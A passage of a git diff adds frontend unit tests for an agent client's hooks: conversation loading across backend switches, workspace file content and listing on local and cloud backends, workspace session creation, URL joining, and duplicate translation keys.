+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return function Wrapper({ children }: { children: React.ReactNode }) {
+    return (
+      <QueryClientProvider client={queryClient}>
+        <ActiveBackendProvider>{children}</ActiveBackendProvider>
+      </QueryClientProvider>
+    );
+  };
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  vi.mocked(
+    AgentServerConversationService.batchGetAppConversations,
+  ).mockReset();
+  vi.mocked(
+    AgentServerConversationService.batchGetAppConversations,
+  ).mockResolvedValue([makeConversation(CLOUD_CONVERSATION_ID)]);
+  setRegisteredBackends([localBackend, cloudBackend]);
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("useUserConversation — backend switch", () => {
+  it("does not load the conversation id against a different backend after switching", async () => {
+    // Arrange — the conversation is opened while the cloud backend is active.
+    setActiveSelection({ backendId: cloudBackend.id });
+    const { result } = renderHook(
+      () => useUserConversation(CLOUD_CONVERSATION_ID),
+      { wrapper: makeWrapper() },
+    );
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(
+      AgentServerConversationService.batchGetAppConversations,
+    ).toHaveBeenCalledTimes(1);
+
+    // Act — switch to the local backend without leaving the conversation.
+    setActiveSelection({ backendId: localBackend.id });
+
+    // Assert — the cloud id is foreign to the local backend, so the query is
+    // disabled and never fetched against it (no second service call).
+    await waitFor(() => expect(result.current.data).toBeUndefined());
+    expect(
+      AgentServerConversationService.batchGetAppConversations,
+    ).toHaveBeenCalledTimes(1);
+  });
+
+  it("still loads the conversation when only the org changes on the same backend", async () => {
+    // Arrange — opened under a cloud backend scoped to one org.
+    setActiveSelection({ backendId: cloudBackend.id, orgId: "org-a" });
+    const { result } = renderHook(
+      () => useUserConversation(CLOUD_CONVERSATION_ID),
+      { wrapper: makeWrapper() },
+    );
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(
+      AgentServerConversationService.batchGetAppConversations,
+    ).toHaveBeenCalledTimes(1);
+
+    // Act — switch org within the same backend (e.g. the cloud personal-
+    // workspace self-heal), which keeps the same agent-server schema.
+    setActiveSelection({ backendId: cloudBackend.id, orgId: "org-b" });
+
+    // Assert — same backend, so the conversation is fetched again for the
+    // new org rather than being disabled.
+    await waitFor(() =>
+      expect(
+        AgentServerConversationService.batchGetAppConversations,
+      ).toHaveBeenCalledTimes(2),
+    );
+  });
+});
diff --git a/__tests__/hooks/query/use-workspace-file-content.test.tsx b/__tests__/hooks/query/use-workspace-file-content.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..dcd0e1dd8b1e979f92f1b23d92a64e027bafb3e5
--- /dev/null
+++ b/__tests__/hooks/query/use-workspace-file-content.test.tsx
@@ -0,0 +1,370 @@
+import React from "react";
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { useWorkspaceFileContent } from "#/hooks/query/use-workspace-file-content";
+import { useWorkspaceMutationCounter } from "#/stores/use-workspace-mutation-counter";
+
+const useWorkspaceSessionMock = vi.fn();
+vi.mock("#/hooks/query/use-workspace-session", async (importOriginal) => {
+  const real =
+    await importOriginal<
+      typeof import("#/hooks/query/use-workspace-session")
+    >();
+  return {
+    ...real,
+    // Keep the real joinWorkspaceUrl so we assert against URLs assembled
+    // by the hook the same way the production code assembles them.
+    useWorkspaceSession: () => useWorkspaceSessionMock(),
+  };
+});
+
+const useActiveConversationMock = vi.fn();
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => useActiveConversationMock(),
+}));
+
+const useRuntimeIsReadyMock = vi.fn();
+vi.mock("#/hooks/use-runtime-is-ready", () => ({
+  useRuntimeIsReady: () => useRuntimeIsReadyMock(),
+}));
+
+const getActiveBackendMock = vi.fn();
+vi.mock("#/api/backend-registry/active-store", () => ({
+  getActiveBackend: () => getActiveBackendMock(),
+}));
+
+const downloadFileMock = vi.fn();
+vi.mock("#/api/runtime-service/agent-server-runtime-service", () => ({
+  default: {
+    downloadFile: (...args: unknown[]) => downloadFileMock(...args),
+  },
+}));
+
+const readCloudConversationFileMock = vi.fn();
+vi.mock("#/api/cloud/conversation-service.api", () => ({
+  readCloudConversationFile: (...args: unknown[]) =>
+    readCloudConversationFileMock(...args),
+}));
+
+const fetchMock = vi.fn();
+
+function makeWrapper() {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  const Wrapper = function WorkspaceFileContentTestWrapper({
+    children,
+  }: {
+    children: React.ReactNode;
+  }) {
+    return (
+      <QueryClientProvider client={client}>{children}</QueryClientProvider>
+    );
+  };
+  return Wrapper;
+}
+
+const BASE_URL =
+  "https://agent.example.com/api/conversations/conv-1/workspace/";
+
+describe("useWorkspaceFileContent", () => {
+  beforeEach(() => {
+    vi.stubGlobal("fetch", fetchMock);
+    fetchMock.mockReset();
+    useWorkspaceSessionMock.mockReset();
+    useActiveConversationMock.mockReset();
+    useRuntimeIsReadyMock.mockReset();
+    getActiveBackendMock.mockReset();
+    downloadFileMock.mockReset();
+    readCloudConversationFileMock.mockReset();
+    useRuntimeIsReadyMock.mockReturnValue(true);
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        id: "conv-1",
+        conversation_url: "https://agent.example.com/api/conversations/conv-1",
+        session_api_key: "session-key",
+      },
+    });
+    useWorkspaceSessionMock.mockReturnValue({
+      data: { baseUrl: BASE_URL },
+      isLoading: false,
+      isError: false,
+      error: null,
+    });
+    getActiveBackendMock.mockReturnValue({
+      backend: { id: "local-1", kind: "local", host: "http://localhost:8000" },
+      orgId: null,
+    });
+    useWorkspaceMutationCounter.setState({ count: 0 });
+  });
+
+  afterEach(() => {
+    vi.unstubAllGlobals();
+  });
+
+  function arrayBufferFromString(value: string): ArrayBuffer {
+    return new TextEncoder().encode(value).buffer as ArrayBuffer;
+  }
+
+  it("returns a static URL on the workspace fileserver for text content", async () => {
+    fetchMock.mockResolvedValue({
+      ok: true,
+      status: 200,
+      arrayBuffer: () => Promise.resolve(arrayBufferFromString("# Hello")),
+    });
+
+    const { result } = renderHook(
+      () => useWorkspaceFileContent("docs/readme.md"),
+      { wrapper: makeWrapper() },
+    );
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+    expect(fetchMock).toHaveBeenCalledWith(
+      `${BASE_URL}docs/readme.md`,
+      expect.objectContaining({ credentials: "include" }),
+    );
+    expect(result.current.data).toEqual({
+      path: "docs/readme.md",
+      kind: "text",
+      text: "# Hello",
+      staticUrl: `${BASE_URL}docs/readme.md`,
+      mimeType: "text/markdown",
+    });
+  });
+
+  it("does not fetch image bytes — image staticUrl is rendered directly", async () => {
+    const { result } = renderHook(
+      () => useWorkspaceFileContent("assets/logo.png"),
+      { wrapper: makeWrapper() },
+    );
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+    expect(fetchMock).not.toHaveBeenCalled();
+    expect(result.current.data).toEqual({
+      path: "assets/logo.png",
+      kind: "image",
+      text: null,
+      staticUrl: `${BASE_URL}assets/logo.png`,
+      mimeType: "image/png",
+    });
+  });
+
+  it("does not fetch PDF bytes — PDF staticUrl is rendered directly", async () => {
+    const { result } = renderHook(() => useWorkspaceFileContent("report.pdf"), {
+      wrapper: makeWrapper(),
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+    expect(fetchMock).not.toHaveBeenCalled();
+    expect(result.current.data).toEqual({
+      path: "report.pdf",
+      kind: "pdf",
+      text: null,
+      staticUrl: `${BASE_URL}report.pdf`,
+      mimeType: "application/pdf",
+    });
+  });
+
+  it("flips text → binary when the fetched bytes contain a NUL", async () => {
+    const binary = new Uint8Array([0x01, 0x00, 0x02]).buffer;
+    fetchMock.mockResolvedValue({
+      ok: true,
+      status: 200,
+      arrayBuffer: () => Promise.resolve(binary),
+    });
+
+    const { result } = renderHook(
+      () => useWorkspaceFileContent("data/blob.bin"),
+      { wrapper: makeWrapper() },
+    );
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+    expect(result.current.data).toMatchObject({
+      kind: "binary",
+      text: null,
+      mimeType: "application/octet-stream",
+      staticUrl: `${BASE_URL}data/blob.bin`,
+    });
+  });
+
+  it("refetches text content after a workspace mutation tick", async () => {
+    fetchMock
+      .mockResolvedValueOnce({
+        ok: true,
+        status: 200,
+        arrayBuffer: () => Promise.resolve(arrayBufferFromString("first")),
+      })
+      .mockResolvedValueOnce({
+        ok: true,
+        status: 200,
+        arrayBuffer: () => Promise.resolve(arrayBufferFromString("second")),
+      });
+
+    const { result } = renderHook(
+      () => useWorkspaceFileContent("docs/readme.md"),
+      { wrapper: makeWrapper() },
+    );
+
+    await waitFor(() => expect(result.current.data?.text).toBe("first"));
+
+    act(() => {
+      useWorkspaceMutationCounter.getState().bump();
+    });
+
+    await waitFor(() => expect(result.current.data?.text).toBe("second"));
+    expect(fetchMock).toHaveBeenCalledTimes(2);
+  });
+
+  it("does not start a file request before a path is selected", async () => {
+    renderHook(() => useWorkspaceFileContent(null), { wrapper: makeWrapper() });
+
+    await new Promise((resolve) => {
+      setTimeout(resolve, 10);
+    });
+
+    expect(fetchMock).not.toHaveBeenCalled();
+  });
+
+  it("does not start a file request before the workspace session is minted", async () => {
+    useWorkspaceSessionMock.mockReturnValue({
+      data: null,
+      isLoading: true,
+      isError: false,
+      error: null,
+    });
+
+    renderHook(() => useWorkspaceFileContent("docs/readme.md"), {
+      wrapper: makeWrapper(),
+    });
+
+    await new Promise((resolve) => {
+      setTimeout(resolve, 10);
+    });
+
+    expect(fetchMock).not.toHaveBeenCalled();
+  });
+
+  it("surfaces a non-OK response as an error", async () => {
+    fetchMock.mockResolvedValue({
+      ok: false,
+      status: 404,
+      arrayBuffer: () => Promise.resolve(new ArrayBuffer(0)),
+    });
+
+    const { result } = renderHook(
+      () => useWorkspaceFileContent("missing.txt"),
+      { wrapper: makeWrapper() },
+    );
+
+    await waitFor(() => expect(result.current.isError).toBe(true));
+
+    expect(result.current.error).toEqual(
+      expect.objectContaining({
+        message: "Failed to read missing.txt: 404",
+      }),
+    );
+  });
+
+  describe("cloud backend", () => {
+    beforeEach(() => {
+      getActiveBackendMock.mockReturnValue({
+        backend: {
+          id: "cloud-1",
+          kind: "cloud",
+          host: "https://app.all-hands.dev",
+        },
+        orgId: "org-1",
+      });
+      // useWorkspaceSession self-disables on cloud — its data is null.
+      useWorkspaceSessionMock.mockReturnValue({
+        data: null,
+        isLoading: false,
+        isError: false,
+        error: null,
+      });
+    });
+
+    it("fetches text via the cloud file endpoint and exposes a data: URI staticUrl", async () => {
+      readCloudConversationFileMock.mockResolvedValue("# Hello");
+
+      const { result } = renderHook(
+        () => useWorkspaceFileContent("docs/readme.md"),
+        { wrapper: makeWrapper() },
+      );
+
+      await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+      // Cloud uses the first-class cloud API endpoint, never the removed
+      // cloud-proxy / downloadFile path, and passes an ABSOLUTE path (the
+      // runtime's /api/file/download rejects relative paths).
+      expect(readCloudConversationFileMock).toHaveBeenCalledWith(
+        "conv-1",
+        "/workspace/project/docs/readme.md",
+      );
+      expect(downloadFileMock).not.toHaveBeenCalled();
+      expect(fetchMock).not.toHaveBeenCalled();
+      expect(result.current.data).toEqual({
+        path: "docs/readme.md",
+        kind: "text",
+        text: "# Hello",
+        staticUrl: `data:text/markdown;charset=utf-8;base64,${btoa("# Hello")}`,
+        mimeType: "text/markdown",
+      });
+    });
+
+    it("anchors the file path to the conversation's working dir", async () => {
+      useActiveConversationMock.mockReturnValue({
+        data: {
+          id: "conv-1",
+          conversation_url:
+            "https://agent.example.com/api/conversations/conv-1",
+          session_api_key: "session-key",
+          workspace: { working_dir: "/workspace/project/my-repo" },
+        },
+      });
+      readCloudConversationFileMock.mockResolvedValue("hi");
+
+      const { result } = renderHook(
+        () => useWorkspaceFileContent("src/index.ts"),
+        { wrapper: makeWrapper() },
+      );
+
+      await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+      expect(readCloudConversationFileMock).toHaveBeenCalledWith(
+        "conv-1",
+        "/workspace/project/my-repo/src/index.ts",
+      );
+    });
+
+    it("renders images via base64 data URI from the cloud file endpoint", async () => {
+      // The cloud endpoint returns text; use an SVG (text-based image) since
+      // binary bytes can't round-trip faithfully through the string API.
+      const svg = "<svg></svg>";
+      readCloudConversationFileMock.mockResolvedValue(svg);
+
+      const { result } = renderHook(
+        () => useWorkspaceFileContent("assets/logo.svg"),
+        { wrapper: makeWrapper() },
+      );
+
+      await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+      expect(downloadFileMock).not.toHaveBeenCalled();
+      expect(fetchMock).not.toHaveBeenCalled();
+      expect(result.current.data).toEqual({
+        path: "assets/logo.svg",
+        kind: "image",
+        text: null,
+        staticUrl: `data:image/svg+xml;base64,${btoa(svg)}`,
+        mimeType: "image/svg+xml",
+      });
+    });
+  });
+});
diff --git a/__tests__/hooks/query/use-workspace-files.test.tsx b/__tests__/hooks/query/use-workspace-files.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b9358811d26b37b91695ed6ce179a891d7914cb5
--- /dev/null
+++ b/__tests__/hooks/query/use-workspace-files.test.tsx
@@ -0,0 +1,200 @@
+import React from "react";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import AgentServerRuntimeService from "#/api/runtime-service/agent-server-runtime-service";
+import { useWorkspaceFiles } from "#/hooks/query/use-workspace-files";
+import { listCloudConversationFiles } from "#/api/cloud/conversation-service.api";
+
+// The hook reads cloud/local from the backend-registry store (the same source
+// the transport layer branches on), so drive the store snapshot in tests.
+// `getSnapshot` must return a STABLE reference per state or `useSyncExternalStore`
+// re-renders forever — precompute one frozen snapshot per kind.
+const STORE_SNAPSHOTS = {
+  local: {
+    active: {
+      backend: {
+        id: "backend-id",
+        name: "Local",
+        host: "http://127.0.0.1:8000",
+        apiKey: "test-key",
+        kind: "local",
+      },
+      orgId: null,
+    },
+  },
+  cloud: {
+    active: {
+      backend: {
+        id: "backend-id",
+        name: "Production",
+        host: "https://app.all-hands.dev",
+        apiKey: "test-key",
+        kind: "cloud",
+      },
+      orgId: null,
+    },
+  },
+} as const;
+let storeBackendKind: "local" | "cloud" = "local";
+vi.mock("#/api/backend-registry/active-store", () => ({
+  subscribeActiveBackend: () => () => {},
+  getSnapshot: () => STORE_SNAPSHOTS[storeBackendKind],
+}));
+
+const useActiveConversationMock = vi.fn();
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => useActiveConversationMock(),
+}));
+
+const useRuntimeIsReadyMock = vi.fn();
+vi.mock("#/hooks/use-runtime-is-ready", () => ({
+  useRuntimeIsReady: () => useRuntimeIsReadyMock(),
+}));
+
+const useOptionalConversationIdMock = vi.fn();
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useOptionalConversationId: () => useOptionalConversationIdMock(),
+}));
+
+vi.mock("#/api/cloud/conversation-service.api", () => ({
+  listCloudConversationFiles: vi.fn(),
+}));
+
+const executeCommandSpy = vi.spyOn(AgentServerRuntimeService, "executeCommand");
+const listCloudFilesMock = vi.mocked(listCloudConversationFiles);
+
+function makeWrapper() {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return function WorkspaceFilesTestWrapper({
+    children,
+  }: {
+    children: React.ReactNode;
+  }) {
+    return (
+      <QueryClientProvider client={client}>{children}</QueryClientProvider>
+    );
+  };
+}
+
+const conversation = {
+  id: "conv-1",
+  conversation_url: "https://runtime.example.com/api/conversations/conv-1",
+  session_api_key: "session-key",
+  workspace: { working_dir: "/workspace/project" },
+};
+
+beforeEach(() => {
+  storeBackendKind = "local";
+  useActiveConversationMock.mockReset();
+  useRuntimeIsReadyMock.mockReset();
+  useOptionalConversationIdMock.mockReset();
+  executeCommandSpy.mockReset();
+  listCloudFilesMock.mockReset();
+
+  useRuntimeIsReadyMock.mockReturnValue(true);
+  useActiveConversationMock.mockReturnValue({ data: conversation });
+  useOptionalConversationIdMock.mockReturnValue({ conversationId: "conv-1" });
+  listCloudFilesMock.mockResolvedValue([]);
+});
+
+afterEach(() => {
+  vi.clearAllMocks();
+});
+
+describe("useWorkspaceFiles — local backend", () => {
+  beforeEach(() => {
+    storeBackendKind = "local";
+  });
+
+  it("lists files via bash find and does not touch git changes", async () => {
+    executeCommandSpy.mockResolvedValue({
+      exit_code: 0,
+      stdout: "./hello.txt\n./src/index.ts\n",
+      stderr: "",
+    });
+
+    const { result } = renderHook(() => useWorkspaceFiles(), {
+      wrapper: makeWrapper(),
+    });
+
+    await waitFor(() =>
+      expect(result.current.data).toEqual(["hello.txt", "src/index.ts"]),
+    );
+    expect(executeCommandSpy).toHaveBeenCalledTimes(1);
+  });
+});
+
+describe("useWorkspaceFiles — cloud backend", () => {
+  beforeEach(() => {
+    storeBackendKind = "cloud";
+  });
+
+  it("lists the full tree via the cloud files endpoint without running bash", async () => {
+    listCloudFilesMock.mockResolvedValue([
+      "hello.txt",
+      "src/index.ts",
+      "src/untouched.ts",
+    ]);
+
+    const { result } = renderHook(() => useWorkspaceFiles(), {
+      wrapper: makeWrapper(),
+    });
+
+    await waitFor(() =>
+      expect(result.current.data).toEqual([
+        "hello.txt",
+        "src/index.ts",
+        "src/untouched.ts",
+      ]),
+    );
+    // The cloud path uses the first-class listing endpoint, anchored at the
+    // conversation's absolute working dir.
+    expect(listCloudFilesMock).toHaveBeenCalledWith(
+      "conv-1",
+      "/workspace/project",
+    );
+    // Cloud must never drive the removed bash/cloud-proxy path.
+    expect(executeCommandSpy).not.toHaveBeenCalled();
+  });
+
+  it("normalizes leading ./ and de-dupes the returned paths", async () => {
+    listCloudFilesMock.mockResolvedValue([
+      "./hello.txt",
+      "hello.txt",
+      "./src/index.ts",
+    ]);
+
+    const { result } = renderHook(() => useWorkspaceFiles(), {
+      wrapper: makeWrapper(),
+    });
+
+    await waitFor(() =>
+      expect(result.current.data).toEqual(["hello.txt", "src/index.ts"]),
+    );
+  });
+
+  it("fires using the route id even when the active-conversation query has no data yet", async () => {
+    // Regression: the query id must come from the route, not from
+    // `useActiveConversation().data.id`. If the batch-get query is still
+    // loading (data === undefined) the listing must still fire — otherwise the
+    // Files tab makes no `/files` call at all on cloud.
+    useActiveConversationMock.mockReturnValue({ data: undefined });
+    listCloudFilesMock.mockResolvedValue(["hello.txt"]);
+
+    const { result } = renderHook(() => useWorkspaceFiles(), {
+      wrapper: makeWrapper(),
+    });
+
+    await waitFor(() => expect(result.current.data).toEqual(["hello.txt"]));
+    // Falls back to the default working dir when the conversation metadata
+    // (and thus its working_dir) isn't available yet.
+    expect(listCloudFilesMock).toHaveBeenCalledWith(
+      "conv-1",
+      "/workspace/project",
+    );
+  });
+});
diff --git a/__tests__/hooks/query/use-workspace-session.test.tsx b/__tests__/hooks/query/use-workspace-session.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..03615e5aca9596fe14899e97f69f4f1a94d6cfe7
--- /dev/null
+++ b/__tests__/hooks/query/use-workspace-session.test.tsx
@@ -0,0 +1,246 @@
+import React from "react";
+import { RemoteWorkspace } from "@openhands/typescript-client/workspace/remote-workspace";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import { callCloudProxy } from "#/api/cloud/proxy";
+import {
+  joinWorkspaceUrl,
+  useWorkspaceSession,
+} from "#/hooks/query/use-workspace-session";
+
+// We mock the SDK workspace rather than the lower-level HttpClient:
+// that's where our wiring contract lives (we hand the typescript-client a
+// conversation id and trust it to do the right POST + return a base URL).
+const startWorkspaceSessionMock = vi.fn();
+
+vi.mock("@openhands/typescript-client/workspace/remote-workspace", () => ({
+  RemoteWorkspace: vi.fn(function RemoteWorkspaceMock() {
+    return {
+      startWorkspaceSession: startWorkspaceSessionMock,
+    };
+  }),
+}));
+
+const callCloudProxyMock = vi.fn();
+vi.mock("#/api/cloud/proxy", () => ({
+  callCloudProxy: (...args: unknown[]) => callCloudProxyMock(...args),
+}));
+
+const getAgentServerClientOptionsMock = vi.fn();
+vi.mock("#/api/agent-server-client-options", () => ({
+  getAgentServerClientOptions: (...args: unknown[]) =>
+    getAgentServerClientOptionsMock(...args),
+}));
+
+const getActiveBackendMock = vi.fn();
+vi.mock("#/api/backend-registry/active-store", () => ({
+  getActiveBackend: () => getActiveBackendMock(),
+}));
+
+const useActiveConversationMock = vi.fn();
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => useActiveConversationMock(),
+}));
+
+const useRuntimeIsReadyMock = vi.fn();
+vi.mock("#/hooks/use-runtime-is-ready", () => ({
+  useRuntimeIsReady: () => useRuntimeIsReadyMock(),
+}));
+
+function makeWrapper() {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  const Wrapper = function WorkspaceSessionTestWrapper({
+    children,
+  }: {
+    children: React.ReactNode;
+  }) {
+    return (
+      <QueryClientProvider client={client}>{children}</QueryClientProvider>
+    );
+  };
+  return Wrapper;
+}
+
+// Yields back to the event loop a few microtasks deep so react-query has a
+// chance to schedule (and, in the negative-path tests, to NOT schedule) the
+// query. ESLint forbids returning the timer id from `new Promise(...)`, so
+// we wrap setTimeout in a void callback.
+function flushScheduler(ms = 10): Promise<void> {
+  return new Promise((resolve) => {
+    setTimeout(resolve, ms);
+  });
+}
+
+beforeEach(() => {
+  startWorkspaceSessionMock.mockReset();
+  callCloudProxyMock.mockReset();
+  getAgentServerClientOptionsMock.mockReset();
+  vi.mocked(RemoteWorkspace).mockClear();
+  getActiveBackendMock.mockReset();
+  useActiveConversationMock.mockReset();
+  useRuntimeIsReadyMock.mockReset();
+  useRuntimeIsReadyMock.mockReturnValue(true);
+});
+
+afterEach(() => {
+  vi.restoreAllMocks();
+});
+
+describe("useWorkspaceSession", () => {
+  describe("local backend", () => {
+    it("calls startWorkspaceSession and exposes the returned baseUrl", async () => {
+      getActiveBackendMock.mockReturnValue({
+        backend: { id: "local-1", kind: "local", host: "http://localhost:8000" },
+      });
+      useActiveConversationMock.mockReturnValue({
+        data: {
+          id: "conv-1",
+          conversation_url:
+            "https://agent.example.com/api/conversations/conv-1",
+          session_api_key: "key-abc",
+        },
+      });
+      startWorkspaceSessionMock.mockResolvedValue(
+        "https://agent.example.com/api/conversations/conv-1/workspace/",
+      );
+      getAgentServerClientOptionsMock.mockReturnValue({
+        host: "http://agent.example.com",
+        apiKey: "key-abc",
+        workingDir: "workspace/project",
+      });
+
+      const { result } = renderHook(() => useWorkspaceSession(), {
+        wrapper: makeWrapper(),
+      });
+
+      await waitFor(() => {
+        expect(result.current.data?.baseUrl).toBe(
+          "https://agent.example.com/api/conversations/conv-1/workspace/",
+        );
+      });
+
+      expect(getAgentServerClientOptionsMock).toHaveBeenCalledTimes(1);
+      expect(getAgentServerClientOptionsMock).toHaveBeenCalledWith({
+        conversationUrl:
+          "https://agent.example.com/api/conversations/conv-1",
+        sessionApiKey: "key-abc",
+      });
+      expect(RemoteWorkspace).toHaveBeenCalledTimes(1);
+      expect(RemoteWorkspace).toHaveBeenCalledWith({
+        host: "http://agent.example.com",
+        apiKey: "key-abc",
+        workingDir: "workspace/project",
+      });
+      expect(startWorkspaceSessionMock).toHaveBeenCalledTimes(1);
+      expect(startWorkspaceSessionMock).toHaveBeenCalledWith("conv-1");
+      expect(callCloudProxyMock).not.toHaveBeenCalled();
+    });
+  });
+
+  describe("cloud backend", () => {
+    it("does not fire any request — workspace-session is local-only", async () => {
+      getActiveBackendMock.mockReturnValue({
+        backend: {
+          id: "cloud-1",
+          kind: "cloud",
+          host: "https://app.all-hands.dev",
+        },
+      });
+      useActiveConversationMock.mockReturnValue({
+        data: {
+          id: "conv-cloud",
+          conversation_url:
+            "https://abc123.prod-runtime.all-hands.dev/api/conversations/conv-cloud",
+          session_api_key: "cloud-key-xyz",
+        },
+      });
+
+      const { result } = renderHook(() => useWorkspaceSession(), {
+        wrapper: makeWrapper(),
+      });
+
+      await flushScheduler();
+      expect(callCloudProxyMock).not.toHaveBeenCalled();
+      expect(startWorkspaceSessionMock).not.toHaveBeenCalled();
+      expect(result.current.data).toBeNull();
+    });
+  });
+
+  it("does not call startWorkspaceSession until the runtime is ready", async () => {
+    getActiveBackendMock.mockReturnValue({
+      backend: { id: "local-1", kind: "local", host: "http://localhost:8000" },
+    });
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        id: "conv-1",
+        conversation_url:
+          "https://agent.example.com/api/conversations/conv-1",
+        session_api_key: "key-abc",
+      },
+    });
+    useRuntimeIsReadyMock.mockReturnValue(false);
+
+    const { result } = renderHook(() => useWorkspaceSession(), {
+      wrapper: makeWrapper(),
+    });
+
+    // Give react-query a tick to schedule (it shouldn't).
+    await flushScheduler();
+    expect(startWorkspaceSessionMock).not.toHaveBeenCalled();
+    expect(callCloudProxyMock).not.toHaveBeenCalled();
+    expect(result.current.data).toBeNull();
+  });
+
+  it("does not call startWorkspaceSession without a conversation id", async () => {
+    getActiveBackendMock.mockReturnValue({
+      backend: { id: "local-1", kind: "local", host: "http://localhost:8000" },
+    });
+    useActiveConversationMock.mockReturnValue({ data: undefined });
+
+    renderHook(() => useWorkspaceSession(), { wrapper: makeWrapper() });
+
+    await flushScheduler();
+    expect(startWorkspaceSessionMock).not.toHaveBeenCalled();
+    expect(callCloudProxyMock).not.toHaveBeenCalled();
+  });
+});
+
+describe("joinWorkspaceUrl", () => {
+  const base = "https://agent.example.com/api/conversations/c1/workspace/";
+
+  it("returns the base URL when no relative path is supplied", () => {
+    expect(joinWorkspaceUrl(base)).toBe(base);
+    expect(joinWorkspaceUrl(base, "")).toBe(base);
+    expect(joinWorkspaceUrl(base, null)).toBe(base);
+  });
+
+  it("appends a single-segment path", () => {
+    expect(joinWorkspaceUrl(base, "index.html")).toBe(`${base}index.html`);
+  });
+
+  it("appends nested paths preserving separators", () => {
+    expect(joinWorkspaceUrl(base, "src/components/App.tsx")).toBe(
+      `${base}src/components/App.tsx`,
+    );
+  });
+
+  it("strips leading slashes on the relative path", () => {
+    expect(joinWorkspaceUrl(base, "/index.html")).toBe(`${base}index.html`);
+    expect(joinWorkspaceUrl(base, "///deep/path.md")).toBe(
+      `${base}deep/path.md`,
+    );
+  });
+
+  it("URL-encodes individual segments but not the separators", () => {
+    expect(joinWorkspaceUrl(base, "my files/has spaces.txt")).toBe(
+      `${base}my%20files/has%20spaces.txt`,
+    );
+    expect(joinWorkspaceUrl(base, "tëst/résumé.pdf")).toBe(
+      `${base}t%C3%ABst/r%C3%A9sum%C3%A9.pdf`,
+    );
+  });
+});
diff --git a/__tests__/i18n/duplicate-keys.test.ts b/__tests__/i18n/duplicate-keys.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..35ab9b89c9711305bb1e82365b7675b909d330db
--- /dev/null
+++ b/__tests__/i18n/duplicate-keys.test.ts
@@ -0,0 +1,76 @@
+import { describe, expect, it } from 'vitest';
+import fs from 'fs';
+import path from 'path';
+
+describe('translation.json', () => {
+  it('should not have duplicate translation keys', () => {
+    // Read the translation.json file
+    const translationPath = path.join(__dirname, '../../src/i18n/translation.json');
+    const translationContent = fs.readFileSync(translationPath, 'utf-8');
+
+    // First, let's check for exact string matches of key definitions
+    const keyRegex = /"([^"]+)": {/g;
+    const matches = translationContent.matchAll(keyRegex);
+    const keyOccurrences = new Map<string, number>();
+    const duplicateKeys: string[] = [];
+
+    for (const match of matches) {
+      const key = match[1];
+      const count = (keyOccurrences.get(key) || 0) + 1;
+      keyOccurrences.set(key, count);
+      if (count > 1) {
+        duplicateKeys.push(key);
+      }
+    }
+
+    // Remove duplicates from duplicateKeys array
+    const uniqueDuplicates = [...new Set(duplicateKeys)];
+
+    // If there are duplicates, create a helpful error message
+    if (uniqueDuplicates.length > 0) {
+      const errorMessage = `Found duplicate translation keys:\n${uniqueDuplicates
+        .map((key) => `  - "${key}" appears ${keyOccurrences.get(key)} times`)
+        .join('\n')}`;
+      throw new Error(errorMessage);
+    }
+
+    // Expect no duplicates (this will pass if we reach here)
+    expect(uniqueDuplicates).toHaveLength(0);
+  });
+
+  it('should have consistent translations for each key', () => {
+    // Read the translation.json file
+    const translationPath = path.join(__dirname, '../../src/i18n/translation.json');
+    const translationContent = fs.readFileSync(translationPath, 'utf-8');
+    const translations = JSON.parse(translationContent);
+
+    // Create a map to store English translations for each key
+    const englishTranslations = new Map<string, string>();
+    const inconsistentKeys: string[] = [];
+
+    // Check each key's English translation
+    Object.entries(translations).forEach(([key, value]: [string, any]) => {
+      if (typeof value === 'object' && value.en !== undefined) {
+        const currentEn = value.en.toLowerCase();
+        const existingEn = englishTranslations.get(key)?.toLowerCase();
+
+        if (existingEn !== undefined && existingEn !== currentEn) {
+          inconsistentKeys.push(key);
+        } else {
+          englishTranslations.set(key, value.en);
+        }
+      }
+    });
+
+    // If there are inconsistencies, create a helpful error message
+    if (inconsistentKeys.length > 0) {
+      const errorMessage = `Found inconsistent translations for keys:\n${inconsistentKeys
+        .map((key) => `  - "${key}" has multiple different English translations`)
+        .join('\n')}`;
+      throw new Error(errorMessage);
+    }
+
+    // Expect no inconsistencies
+    expect(inconsistentKeys).toHaveLength(0);
+  });
+});
diff --git a/__tests__/i18n/files-diff-label.test.ts b/__tests__/i18n/files-diff-label.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..46c65e3006c889972763aacef66402e90d8bc30c
--- /dev/null
